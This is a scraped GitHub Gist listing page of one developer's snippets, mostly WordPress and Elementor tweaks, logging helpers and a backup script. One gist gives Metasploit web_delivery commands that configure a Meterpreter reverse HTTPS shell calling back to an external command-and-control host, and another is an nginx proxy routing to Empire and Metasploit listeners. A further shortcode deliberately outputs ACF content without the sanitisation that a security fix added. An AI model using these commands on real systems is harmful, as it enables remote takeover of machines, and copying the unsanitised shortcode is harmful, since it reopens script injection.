Skip to content

Instantly share code, notes, and snippets.

View mwender's full-sized avatar
👨‍💻

Michael Wender mwender

👨‍💻
View GitHub Profile
@mwender
mwender / link-elementor-pro-gallery-images.js
Last active January 17, 2024 19:49
[Elementor Pro Linked Gallery Images] Simple JS to add links to your Elementor Pro gallery images #elementor
@mwender
mwender / README.md
Last active January 17, 2024 18:53
[ACF Unsafe Content Shortcode] Provides "acf_field_unsafe" for echoing ACF field content that hasn't been run through wp_kses_post(). #wordpress #shortcode #acf

The [acf_field_unsafe/] Shortcode

On January 16, 2024, the ACF 6.2.5 security release fixed a security issue whereby the output of the [acf field="[...]"/] shortcode has its content run through wp_kses(). This removes all <script> and <iframe> tags. However, there are still situations where you may need to echo these tags when you have a site where you're confident you can trust every user on your site with contributor or higher access. Hence, this shortcode allows you to do this.

Shortcode Documentation

Retrieves the value of a specified Advanced Custom Field (ACF) based on given attributes.

This function is designed to be used as a shortcode handler for retrieving ACF field values. 
@mwender
mwender / replace-hamburger-icon-with-text.css
Last active January 17, 2024 17:27
Use the following CSS to replace the Elementor Nav Widget's mobile dropdown hamburger icon with the word "Menu". #elementor
/* Use "Menu" for mobile menu */
selector .elementor-menu-toggle:not(.elementor-active) .elementor-menu-toggle__icon--open.eicon-menu-bar{
display: flex;
padding: 6px;
}
selector .elementor-menu-toggle:not(.elementor-active) .elementor-menu-toggle__icon--open.eicon-menu-bar:before{
content: 'Menu';
font-family: Roboto;
font-size: 18px;
}
@mwender
mwender / close-tabs-on-mobile.js
Last active January 17, 2024 17:28
Loads Elementor's tab widget on mobile with all tabs collapsed. #elementor
let intViewportWidth = window.innerWidth;
console.log('🔔 intViewportWidth = ', intViewportWidth );
const activeClass = 'ele-active';
const mobileBreakpoint = '767'; // Our breakpoint ensures this code only runs on small screens.
const mobileTabButtons = document.querySelectorAll('.elementor-tab-mobile-title');
if( intViewportWidth <= mobileBreakpoint ){
/**
* Click handling for Tab buttons.
@mwender
mwender / uber-log.php
Last active April 2, 2024 16:55
uber_log() - Enhanced logging. Add this to your project and use `tail -f /path/to/your/log.txt` for debugging.
<?php
/**
* Enhanced logging.
*
* @param string $message The log message
*/
if( ! function_exists( 'uber_log' ) ){
function uber_log( $message = null ){
static $counter = 1;
@mwender
mwender / hidpi-email-header-image.php
Last active December 13, 2018 15:32
Filter for displaying a HiDPI image in the header of the WP HTML Email plugin for WordPress
<?php
namespace Functions\htmlemail;
/**
* Filters the WP HTML Email header
*
* The following works with a graphic sized at 1200x300px. The
* final display is shown @2X pixel density as the image is
* scaled down to 600x150px.
@mwender
mwender / launcher-commands.code
Created October 27, 2016 14:58
Launcher commands.
use exploit/multi/script/web_delivery
set URIPATH /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Delivery
set DisablePayloadHandler true
set SSL True
set TARGET 2
set payload windows/x64/meterpreter/reverse_https
set LHOST myc2proxy.com
set LPORT 443
set LURI /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Pwned
run -j
@mwender
mwender / multi-user-nginx-http-proxy.conf
Created October 27, 2016 14:33
Multi user NGINX HTTP proxy
#Analyst 1
location /E0922BB0-684B-4ED3-967E-85D08880CFD5/ {
proxy_redirect off;
#Empire
location /E0922BB0-684B-4ED3-967E-85D08880CFD5/e/ {
proxy_pass https://205.232.71.92:443;
}
#Metasploit
location /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/ {
#Metasploit exploit/multi/script/web_delivery
@mwender
mwender / hidetext.js
Last active April 2, 2024 16:55
hidetext.js - A jQuery based function for showing long blocks of text as an excerpt with a "Read more..." link.
(function($){
function hideText( textselector, strlen, moretext ){
strlen = typeof strlen !== 'undefined' ? strlen : 100;
moretext = typeof moretext !== 'undefined' ? moretext : 'Read More';
var sections = $( textselector );
for(var i = 0; i < sections.length; i++ ){
console.log( sections[i] );
var textToHide = $( sections[i] ).html();
var textToCheck = $( sections[i] ).text().substring(strlen);
@mwender
mwender / dropbox-uploader-backups-with-deletion.sh
Last active October 27, 2019 02:23
Dropbox Uploader database backups with deletion of older files on Dropbox
#!/bin/bash
# Dropbox Config
dropboxconfig=".dropbox_uploader"
# Database Credentials
dbuser=""
dbpass=""
dbname=""
# Other options